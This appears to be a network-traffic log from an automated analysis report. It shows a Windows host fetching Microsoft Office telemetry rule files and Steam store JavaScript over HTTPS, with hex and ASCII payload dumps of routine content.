Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 938e68e0-901e-0029-0160-17274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064705Z-1657d5bbd48wd55zet5pcra0cg000000031000000000b6ge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 678513bd-b01e-0053-4460-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064705Z-1657d5bbd48vlsxxpe15ac3q7n00000002zg00000000e9hh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d803a4ff-401e-0083-3904-17075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064705Z-1657d5bbd482lxwq1dp2t1zwkc00000002y0000000002en8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b0fdb72d-401e-0015-37ce-160e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064705Z-1657d5bbd4824mj9d6vp65b6n400000003cg000000002gkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49827	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	534	OUT	GET /public/javascript/modal.js?v=.Gl8zxCENQAoO HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	346	IN	HTTP/1.1 200 OK Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT ETag: ".Gl8zxCENQAoO" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=9258602 Expires: Wed, 22 Jan 2025 10:37:08 GMT Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Length: 2917 Connection: close
2024-10-07 06:47:06 UTC	2917	IN	Data Raw: 76 61 72 20 73 65 6c 53 74 61 74 65 73 20 3d 20 6e 65 77 20 41 72 72 61 79 28 29 3b 0d 0a 76 61 72 20 6d 6f 64 61 6c 44 69 73 6d 69 73 73 48 61 6e 64 6c 65 72 20 3d 20 66 61 6c 73 65 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 47 6f 74 53 74 65 61 6d 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 2c 20 73 74 65 61 6d 55 52 4c 2c 20 61 70 70 4e 61 6d 65 20 29 0d 0a 7b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 53 74 65 61 6d 55 52 4c 27 29 2e 68 72 65 66 20 3d 20 73 74 65 61 6d 55 52 4c 3b 0d 0a 09 24 28 27 67 6f 74 53 74 65 61 6d 5f 41 70 70 4e 61 6d 65 27 29 2e 75 70 64 61 74 65 28 20 61 70 70 4e 61 6d 65 20 29 3b 0d 0a 09 73 68 6f 77 4d 6f 64 61 6c 28 20 63 6f 6e 74 65 6e 74 45 6c 20 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 73 Data Ascii: var selStates = new Array();var modalDismissHandler = false;function showGotSteamModal( contentEl, steamURL, appName ){$('gotSteam_SteamURL').href = steamURL;$('gotSteam_AppName').update( appName );showModal( contentEl );}function s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49829	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	570	OUT	GET /public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	346	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "pSvIAKtunfWg" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=5896727 Expires: Sat, 14 Dec 2024 12:45:53 GMT Date: Mon, 07 Oct 2024 06:47:06 GMT Content-Length: 24657 Connection: close
2024-10-07 06:47:06 UTC	16038	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 0d 0a 2f 2f 20 62 75 69 6c 64 20 6f 75 72 20 6d 65 6e 75 20 6f 6e 20 69 6e 69 74 0d 0a 6a 51 75 65 72 79 28 20 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 76 61 72 20 6d 71 51 75 65 72 79 4d 65 6e 75 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 31 30 70 78 29 22 29 20 3a 20 7b 6d 61 74 63 68 65 73 3a 20 66 61 6c 73 65 7d 3b 0d 0a 09 76 61 72 20 6d 71 4d 6f 62 69 6c 65 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 35 30 30 70 78 29 22 29 20 3a 20 7b 6d Data Ascii: "use strict";// build our menu on initjQuery( function($) {var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {m
2024-10-07 06:47:06 UTC	8619	IN	Data Raw: d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 63 7a 65 63 68 22 7d 20 29 2e 74 65 78 74 28 20 27 c4 8c 65 c5 a1 74 69 6e 61 20 28 43 7a 65 63 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 64 61 6e 69 73 68 22 7d 20 29 2e 74 65 78 74 28 20 27 44 61 6e 73 6b 20 28 44 61 6e 69 73 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 Data Ascii: (Bulgarian)' ));$SelectBox.append($J('<option/>', {value: "czech"} ).text( 'etina (Czech)' ));$SelectBox.append($J('<option/>', {value: "danish"} ).text( 'Dansk (Danish)' ));$SelectBox.append(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49828	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	402	OUT	GET /public/javascript/main.js?v=90zQriNTNEnM&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	384	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "90zQriNTNEnM" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=15552000 Expires: Sat, 05 Apr 2025 06:47:06 GMT Date: Mon, 07 Oct 2024 06:47:06 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:06 UTC	16000	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 47 6f 74 46 6c 61 73 68 50 6f 70 75 70 28 29 0d 0a 7b 0d 0a 09 76 61 72 20 77 69 6e 20 3d 20 77 69 6e 64 6f 77 2e 6f 70 65 6e 28 20 27 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 67 6f 74 66 6c 61 73 68 27 2c 27 67 6f 74 66 6c 61 73 68 27 2c 27 77 69 64 74 68 3d 35 33 36 2c 68 65 69 67 68 74 3d 35 34 36 2c 72 65 73 69 7a 65 3d 79 65 73 2c 73 63 72 6f 6c 6c 62 61 72 73 3d 79 65 73 27 29 3b 0d 0a 09 77 69 6e 2e 66 6f 63 75 73 28 29 3b 0d 0a 7d 0d 0a 0d 0a 2f 2f 0d 0a 2f 2f 20 50 61 67 65 2d 61 62 6c 65 20 74 61 62 73 0d 0a 2f 2f 0d 0a 76 61 72 20 74 61 62 53 74 61 72 74 20 3d 20 7b 20 7d 3b 0d 0a 76 61 72 20 74 61 62 4d 61 78 20 3d 20 7b 20 7d 3b Data Ascii: 0000C000function GotFlashPopup(){var win = window.open( 'https://store.steampowered.com/gotflash','gotflash','width=536,height=546,resize=yes,scrollbars=yes');win.focus();}//// Page-able tabs//var tabStart = { };var tabMax = { };
2024-10-07 06:47:06 UTC	15833	IN	Data Raw: 68 6c 69 73 74 43 6f 75 6e 74 28 20 64 61 74 61 2e 77 69 73 68 6c 69 73 74 43 6f 75 6e 74 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 20 21 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 29 0d 0a 09 09 09 09 47 44 79 6e 61 6d 69 63 53 74 6f 72 65 2e 49 6e 76 61 6c 69 64 61 74 65 43 61 63 68 65 28 29 3b 0d 0a 09 09 7d 29 2e 66 61 69 6c 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 09 09 09 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 64 69 76 54 6f 53 68 6f 77 45 72 72 6f 72 29 2e 73 68 6f 77 28 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 52 65 6d 6f 76 65 46 72 6f 6d 57 69 73 68 6c 69 73 74 28 20 61 70 70 69 64 2c 20 64 69 76 54 6f 48 69 64 65 2c 20 64 69 76 Data Ascii: hlistCount( data.wishlistCount );if ( typeof GDynamicStore != 'undefined' )GDynamicStore.InvalidateCache();}).fail( function() {$JFromIDOrElement(divToShowError).show();});}function RemoveFromWishlist( appid, divToHide, div
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 73 65 72 50 72 65 66 65 72 65 6e 63 65 73 2c 20 73 74 72 50 61 63 6b 61 67 65 58 4d 4c 56 65 72 73 69 6f 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 2c 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 73 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 54 65 72 6d 20 3d 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 54 65 72 6d 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 43 74 6e 20 3d 20 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 20 3f 20 24 4a 46 72 6f 6d 49 44 4f 72 45 6c 65 6d 65 6e 74 28 65 6c 65 6d 53 75 67 67 65 73 74 69 6f 6e 43 74 6e 29 20 3a 20 24 4a 28 27 23 73 65 61 72 63 68 74 65 72 6d 5f 6f 70 74 69 6f 6e 73 27 29 3b 0d 0a 09 76 61 72 20 24 53 75 67 67 65 73 74 69 6f 6e 73 20 3d 20 65 6c 65 Data Ascii: serPreferences, strPackageXMLVersion, elemSuggestionCtn, elemSuggestions ){var $Term = $JFromIDOrElement(elemTerm);var $SuggestionsCtn = elemSuggestionCtn ? $JFromIDOrElement(elemSuggestionCtn) : $J('#searchterm_options');var $Suggestions = ele
2024-10-07 06:47:06 UTC	947	IN	Data Raw: 75 74 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 22 20 2b 20 73 41 64 64 54 6f 43 61 72 74 49 44 20 29 3b 0d 0a 09 6c 65 74 20 65 6c 55 70 64 61 74 65 42 75 74 74 6f 6e 20 3d 20 6a 51 75 65 72 79 28 20 22 23 62 74 6e 5f 71 75 61 6e 74 69 74 79 5f 75 70 64 61 74 65 5f 22 20 2b 20 73 49 64 53 75 66 66 69 78 20 29 3b 0d 0a 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 6c 65 74 20 73 51 74 79 20 3d 20 65 6c 46 69 65 6c 64 2e 76 61 6c 28 29 3b 0d 0a 09 09 6c 65 74 20 73 51 74 79 4d 61 78 20 3d 20 65 6c 46 69 65 6c 64 2e 61 74 74 72 28 20 27 6d 61 78 27 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 20 29 3b 0d 0a 09 09 6c 65 74 20 6e 51 74 79 4d 61 78 20 3d 20 70 61 72 73 65 49 6e 74 28 20 73 51 74 79 4d 61 78 Data Ascii: utton = jQuery( "#" + sAddToCartID );let elUpdateButton = jQuery( "#btn_quantity_update_" + sIdSuffix );try{let sQty = elField.val();let sQtyMax = elField.attr( 'max' );let nQty = parseInt( sQty );let nQtyMax = parseInt( sQtyMax
2024-10-07 06:47:06 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6e 6f 72 65 0d 0a 09 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 61 64 64 20 61 20 70 61 63 6b 61 67 65 20 74 6f 20 61 20 63 61 72 74 2c 20 61 73 73 75 6d 65 73 20 66 6f 72 6d 20 73 65 74 75 70 20 6f 6e 20 74 68 65 20 70 61 67 65 0d 0a 66 75 6e 63 74 69 6f 6e 20 75 70 64 61 74 65 51 74 79 43 61 72 74 28 20 66 6f 72 6d 4e 61 6d 65 2c 20 69 64 20 29 0d 0a 7b 0d 0a 09 74 72 79 0d 0a 09 7b 0d 0a 09 09 2f 2f 20 43 68 65 63 6b 20 66 6f 72 20 71 75 61 6e 74 69 74 79 0d 0a 09 09 76 61 72 20 71 75 61 6e 74 69 74 79 20 3d 20 6a 51 75 65 72 79 28 20 27 23 27 2b 69 64 20 29 2e 76 61 6c 28 29 3b 0d 0a 09 09 69 66 20 28 20 71 75 61 6e 74 69 74 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 0d 0a 09 09 7b 0d 0a Data Ascii: 00004000nore}}// Function to add a package to a cart, assumes form setup on the pagefunction updateQtyCart( formName, id ){try{// Check for quantityvar quantity = jQuery( '#'+id ).val();if ( quantity !== undefined ){
2024-10-07 06:47:06 UTC	12	IN	Data Raw: 68 28 20 66 75 6e 63 74 69 6f 0d 0a Data Ascii: h( functio
2024-10-07 06:47:06 UTC	7914	IN	Data Raw: 30 30 30 30 31 45 44 45 0d 0a 6e 28 29 20 7b 0d 0a 09 09 09 09 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 3d 20 4d 61 74 68 2e 6d 61 78 28 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 2c 20 24 4a 28 74 68 69 73 20 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 29 20 29 3b 0d 0a 09 09 09 7d 29 3b 0d 0a 09 09 09 24 57 72 61 70 70 65 72 2e 63 73 73 28 27 68 65 69 67 68 74 27 2c 20 6e 54 61 6c 6c 65 73 74 43 68 69 6c 64 20 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f 6c 6c 2e 73 63 72 6f 6c 6c 4c 65 66 74 28 29 20 3c 3d 20 31 20 29 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 68 69 64 65 28 29 3b 0d 0a 09 09 09 65 6c 73 65 0d 0a 09 09 09 09 24 53 6c 69 64 65 72 4c 65 66 74 2e 73 68 6f 77 28 29 3b 0d 0a 0d 0a 09 09 09 69 66 20 28 20 24 53 63 72 6f Data Ascii: 00001EDEn() {nTallestChild = Math.max( nTallestChild, $J(this ).outerHeight() );});$Wrapper.css('height', nTallestChild );if ( $Scroll.scrollLeft() <= 1 )$SliderLeft.hide();else$SliderLeft.show();if ( $Scro
2024-10-07 06:47:06 UTC	12148	IN	Data Raw: 30 30 30 30 32 46 36 38 0d 0a 20 66 75 6e 63 74 69 6f 6e 20 6d 61 79 20 62 65 20 28 74 6f 74 61 6c 6c 79 20 69 73 29 20 64 69 66 66 65 72 65 6e 74 20 69 6e 20 72 65 73 70 6f 6e 73 69 76 65 20 6d 6f 64 65 0d 0a 43 47 65 6e 65 72 69 63 43 61 72 6f 75 73 65 6c 2e 70 72 6f 74 6f 74 79 70 65 2e 52 65 73 70 6f 6e 73 69 76 65 41 64 76 61 6e 63 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 6e 4e 65 77 49 6e 64 65 78 20 29 0d 0a 7b 0d 0a 09 76 61 72 20 24 65 6c 54 61 72 67 65 74 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 70 61 72 65 6e 74 28 29 3b 0d 0a 09 76 61 72 20 6e 4d 61 78 53 63 72 6f 6c 6c 20 3d 20 74 68 69 73 2e 24 65 6c 49 74 65 6d 73 2e 6f 75 74 65 72 57 69 64 74 68 28 20 74 72 75 65 20 29 20 2a 20 74 68 69 73 2e 6e 49 74 65 6d 73 20 2d 20 24 65 6c Data Ascii: 00002F68 function may be (totally is) different in responsive modeCGenericCarousel.prototype.ResponsiveAdvance = function( nNewIndex ){var $elTarget = this.$elItems.parent();var nMaxScroll = this.$elItems.outerWidth( true ) * this.nItems - $el
2024-10-07 06:47:06 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49830	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	410	OUT	GET /public/javascript/dynamicstore.js?v=uk2vdkhDxGM-&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:06 UTC	399	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "fz6Sv1tbS3ZE" Last-Modified: Fri, 17 Apr 1970 21:04:50 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, must-revalidate, max-age=0 Expires: Mon, 07 Oct 2024 06:47:06 GMT Date: Mon, 07 Oct 2024 06:47:06 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
